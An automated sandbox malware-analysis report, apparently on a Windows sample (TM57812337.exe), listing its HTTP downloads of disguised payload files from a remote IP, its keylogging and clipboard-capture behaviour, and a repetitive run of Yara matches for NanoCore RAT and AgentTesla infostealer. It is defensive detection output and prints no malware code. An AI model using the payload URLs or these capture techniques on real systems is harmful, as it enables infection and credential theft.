Source: global traffic HTTP traffic detected: GET /bay/loader/uploads/TM57812337_Nbfpwrzt.bmp HTTP/1.1Host: 3.124.188.36Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bay/loader/uploads/flip_Jozgxzue.jpg HTTP/1.1Host: 3.124.188.36Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bay/loader/uploads/flip_Jozgxzue.jpg HTTP/1.1Host: 3.124.188.36Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bay/loader/uploads/TM57812337_Nbfpwrzt.bmp HTTP/1.1Host: 3.124.188.36Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bay/loader/uploads/TM57812337_Nbfpwrzt.bmp HTTP/1.1Host: 3.124.188.36Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bay/loader/uploads/flip_Jozgxzue.jpg HTTP/1.1Host: 3.124.188.36Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bay/loader/uploads/flip_Jozgxzue.jpg HTTP/1.1Host: 3.124.188.36Connection: Keep-Alive

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Installs a global keyboard hook
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Windows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Jump to behavior
Installs a raw input device (often for capturing keystrokes)
Source: InstallUtil.exe, 00000020.00000002.490004111.0000000002F61000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: RegisterRawInputDevices
Creates a window with clipboard capturing capabilities
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe Window created: window name: CLIPBRDWNDCLASS Jump to behavior

E-Banking Fraud
barindex
Yara detected Nanocore RAT
Source: Yara match File source: 32.2.InstallUtil.exe.3fb455d.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3f05380.5.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.0.InstallUtil.exe.400000.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.0.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3eb5360.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3f05380.5.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.0.InstallUtil.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.0.InstallUtil.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.0.InstallUtil.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3eb5360.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.2.InstallUtil.exe.3faff34.3.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3e8d340.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.2.InstallUtil.exe.3fab0fe.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 32.2.InstallUtil.exe.3faff34.3.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3e8d340.4.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000020.00000000.473733509.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.490004111.0000000002F61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000000.472431522.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.488350765.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000000.472817757.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000000.473252440.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.476158261.0000000003F05000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000020.00000002.490307943.0000000003F69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.476008629.0000000003E66000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.475883360.0000000003D99000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: Qqsucntzxgqwkiqkvrafiufflip.exe PID: 6528, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: InstallUtil.exe PID: 6288, type: MEMORYSTR

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 14.0.InstallUtil.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 15.3.Qjarsxlh.exe.4548ea0.5.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 14.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 15.2.Qjarsxlh.exe.61c0000.4.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 0.2.TM57812337.exe.52c0000.4.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 16.2.Qjarsxlh.exe.59f0000.4.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 16.3.Qjarsxlh.exe.3c38e80.2.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 15.3.Qjarsxlh.exe.4488e60.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 33.0.InstallUtil.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 32.2.InstallUtil.exe.3fb455d.4.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 32.2.InstallUtil.exe.3fb455d.4.raw.unpack, type: UNPACKEDPE Matched rule: Detects NanoCore Author: ditekSHen
Source: 16.2.Qjarsxlh.exe.3b87b90.3.raw.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 0.3.TM57812337.exe.36e8e80.0.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 33.0.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 15.3.Qjarsxlh.exe.4548ea0.5.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 12.3.Qqsucntzxgqwkiqkvrafiufflip.exe.3ed0b10.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 0.2.TM57812337.exe.52c0000.4.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 15.3.Qjarsxlh.exe.44c8e80.0.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3f05380.5.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3f05380.5.raw.unpack, type: UNPACKEDPE Matched rule: Detects NanoCore Author: ditekSHen
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3f05380.5.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 12.3.Qqsucntzxgqwkiqkvrafiufflip.exe.3fb0b70.4.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 33.0.InstallUtil.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 32.0.InstallUtil.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 32.0.InstallUtil.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: Detects NanoCore Author: ditekSHen
Source: 32.0.InstallUtil.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 15.2.Qjarsxlh.exe.61c0000.4.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 16.3.Qjarsxlh.exe.3c38e80.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 16.3.Qjarsxlh.exe.3bf8e60.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 15.2.Qjarsxlh.exe.4417b90.3.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 32.2.InstallUtil.exe.2fcb430.1.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 32.2.InstallUtil.exe.2fcb430.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects NanoCore Author: ditekSHen
Source: 16.3.Qjarsxlh.exe.3bd8e40.0.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 32.0.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 32.0.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects NanoCore Author: ditekSHen
Source: 32.0.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 16.2.Qjarsxlh.exe.3b87b90.3.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 0.3.TM57812337.exe.3768ea0.3.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3eb5360.3.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3eb5360.3.unpack, type: UNPACKEDPE Matched rule: Detects NanoCore Author: ditekSHen
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3eb5360.3.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 15.3.Qjarsxlh.exe.44c8e80.0.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 32.2.InstallUtil.exe.6090000.5.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 32.2.InstallUtil.exe.6090000.5.raw.unpack, type: UNPACKEDPE Matched rule: Detects NanoCore Author: ditekSHen
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3f05380.5.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3f05380.5.unpack, type: UNPACKEDPE Matched rule: Detects NanoCore Author: ditekSHen
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3f05380.5.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 32.0.InstallUtil.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 32.0.InstallUtil.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: Detects NanoCore Author: ditekSHen
Source: 32.0.InstallUtil.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 32.0.InstallUtil.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 32.0.InstallUtil.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: Detects NanoCore Author: ditekSHen
Source: 32.0.InstallUtil.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 33.0.InstallUtil.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 32.0.InstallUtil.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 32.0.InstallUtil.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Detects NanoCore Author: ditekSHen
Source: 32.0.InstallUtil.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 16.3.Qjarsxlh.exe.3cb8ea0.5.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 16.3.Qjarsxlh.exe.3cb8ea0.5.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 12.3.Qqsucntzxgqwkiqkvrafiufflip.exe.3f30b50.0.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3eb5360.3.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3eb5360.3.raw.unpack, type: UNPACKEDPE Matched rule: Detects NanoCore Author: ditekSHen
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3eb5360.3.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 32.2.InstallUtil.exe.3faff34.3.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 32.2.InstallUtil.exe.3faff34.3.unpack, type: UNPACKEDPE Matched rule: Detects NanoCore Author: ditekSHen
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3e8d340.4.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3e8d340.4.unpack, type: UNPACKEDPE Matched rule: Detects NanoCore Author: ditekSHen
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3e8d340.4.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 32.2.InstallUtil.exe.3fab0fe.2.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 32.2.InstallUtil.exe.3fab0fe.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects NanoCore Author: ditekSHen
Source: 32.2.InstallUtil.exe.3fab0fe.2.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0.3.TM57812337.exe.36e8e80.0.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 14.0.InstallUtil.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 32.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 32.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Detects NanoCore Author: ditekSHen
Source: 32.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 33.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 32.2.InstallUtil.exe.3faff34.3.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 32.2.InstallUtil.exe.3faff34.3.raw.unpack, type: UNPACKEDPE Matched rule: Detects NanoCore Author: ditekSHen
Source: 12.3.Qqsucntzxgqwkiqkvrafiufflip.exe.3f30b50.0.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 14.0.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 16.2.Qjarsxlh.exe.59f0000.4.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 0.2.TM57812337.exe.3637b90.3.raw.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.2e3c86c.1.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.2e3c86c.1.unpack, type: UNPACKEDPE Matched rule: Detects NanoCore Author: ditekSHen
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.2e3c86c.1.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.2e3c86c.1.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.2e3c86c.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects NanoCore Author: ditekSHen
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.2e3c86c.1.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 15.2.Qjarsxlh.exe.4417b90.3.raw.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3e8d340.4.raw.unpack, type: UNPACKEDPE Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3e8d340.4.raw.unpack, type: UNPACKEDPE Matched rule: Detects NanoCore Author: ditekSHen
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.3e8d340.4.raw.unpack, type: UNPACKEDPE Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 14.0.InstallUtil.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 0.2.TM57812337.exe.3637b90.3.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.5cd0000.6.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 12.3.Qqsucntzxgqwkiqkvrafiufflip.exe.3ef0b30.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 12.2.Qqsucntzxgqwkiqkvrafiufflip.exe.5cd0000.6.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 14.0.InstallUtil.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 33.0.InstallUtil.exe.400000.3.unpack, type: UNPACKEDPE Matched rule: AgentTeslaV3 infostealer payload Author: ditekSHen
Source: 0.3.TM57812337.exe.36a8e60.1.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 0.3.TM57812337.exe.3688e40.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 12.3.Qqsucntzxgqwkiqkvrafiufflip.exe.3fb0b70.4.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 15.3.Qjarsxlh.exe.4468e40.2.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 0.3.TM57812337.exe.3768ea0.3.raw.unpack, type: UNPACKEDPE Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 0000000C.00000002.476919142.0000000005CD0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 00000020.00000002.491043035.0000000006090000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000020.00000002.491043035.0000000006090000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Detects NanoCore Author: ditekSHen
Source: 00000000.00000002.360544284.00000000052C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 00000020.00000000.473733509.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000020.00000000.473733509.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000020.00000002.490004111.0000000002F61000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000020.00000000.472431522.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000020.00000000.472431522.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000020.00000002.488350765.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000020.00000002.488350765.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000020.00000000.472817757.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000020.00000000.472817757.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000010.00000002.508484748.00000000059F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 00000020.00000000.473252440.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 00000020.00000000.473252440.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000C.00000002.475784725.0000000002E04000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000C.00000002.475784725.0000000002E04000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000F.00000002.491110453.00000000061C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 0000000C.00000002.476158261.0000000003F05000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000C.00000002.476158261.0000000003F05000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 00000022.00000002.541013237.00000000057B0000.00000004.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc. Author: ditekSHen
Source: 00000020.00000002.490307943.0000000003F69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000C.00000002.476008629.0000000003E66000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000C.00000002.476008629.0000000003E66000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: 0000000C.00000002.475883360.0000000003D99000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: 0000000C.00000002.475883360.0000000003D99000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: Process Memory Space: Qqsucntzxgqwkiqkvrafiufflip.exe PID: 6528, type: MEMORYSTR Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: Process Memory Space: Qqsucntzxgqwkiqkvrafiufflip.exe PID: 6528, type: MEMORYSTR Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
Source: Process Memory Space: InstallUtil.exe PID: 6288, type: MEMORYSTR Matched rule: Detetcs the Nanocore RAT Author: Florian Roth
Source: Process Memory Space: InstallUtil.exe PID: 6288, type: MEMORYSTR Matched rule: NanoCore Author: Kevin Breen <kevin@techanarchy.net>
.NET source code contains very large array initializations
Source: 14.2.InstallUtil.exe.400000.0.unpack, u003cPrivateImplementationDetailsu003eu007bE2C34736u002d527Eu002d4794u002dB3F0u002dBD5D775AA8CCu007d/AD749466u002d0ECBu002d402Du002dA6BCu002dBD352FE44402.cs Large array initialization: .cctor: array initializer size 11649
Source: 14.0.InstallUtil.exe.400000.1.unpack, u003cPrivateImplementationDetailsu003eu007bE2C34736u002d527Eu002d4794u002dB3F0u002dBD5D775AA8CCu007d/AD749466u002d0ECBu002d402Du002dA6BCu002dBD352FE44402.cs Large array initialization: .cctor: array initializer size 11649
Source: 14.0.InstallUtil.exe.400000.4.unpack, u003cPrivateImplementationDetailsu003eu007bE2C34736u002d527Eu002d4794u002dB3F0u002dBD5D775AA8CCu007d/AD749466u002d0ECBu002d402Du002dA6BCu002dBD352FE44402.cs Large array initialization: .cctor: array initializer size 11649
Source: 14.0.InstallUtil.exe.400000.0.unpack, u003cPrivateImplementationDetailsu003eu007bE2C34736u002d527Eu002d4794u002dB3F0u002dBD5D775AA8CCu007d/AD749466u002d0ECBu002d402Du002dA6BCu002dBD352FE44402.cs Large array initialization: .cctor: array initializer size 11649
Source: 14.0.InstallUtil.exe.400000.3.unpack, u003cPrivateImplementationDetailsu003eu007bE2C34736u002d527Eu002d4794u002dB3F0u002dBD5D775AA8CCu007d/AD749466u002d0ECBu002d402Du002dA6BCu002dBD352FE44402.cs Large array initialization: .cctor: array initializer size 11649
Source: 14.0.InstallUtil.exe.400000.2.unpack, u003cPrivateImplementationDetailsu003eu007bE2C34736u002d527Eu002d4794u002dB3F0u002dBD5D775AA8CCu007d/AD749466u002d0ECBu002d402Du002dA6BCu002dBD352FE44402.cs Large array initialization: .cctor: array initializer size 11649
Uses 32bit PE files
Source: TM57812337.exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Yara signature match
Source: 14.0.InstallUtil.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
Source: 15.3.Qjarsxlh.exe.4548ea0.5.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_B64_Artifacts author = ditekSHen, description = Detects executables embedding bas64-encoded APIs, command lines, registry keys, etc.
Source: 14.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_AgentTeslaV3 author = ditekSHen, description = AgentTeslaV3 infostealer payload
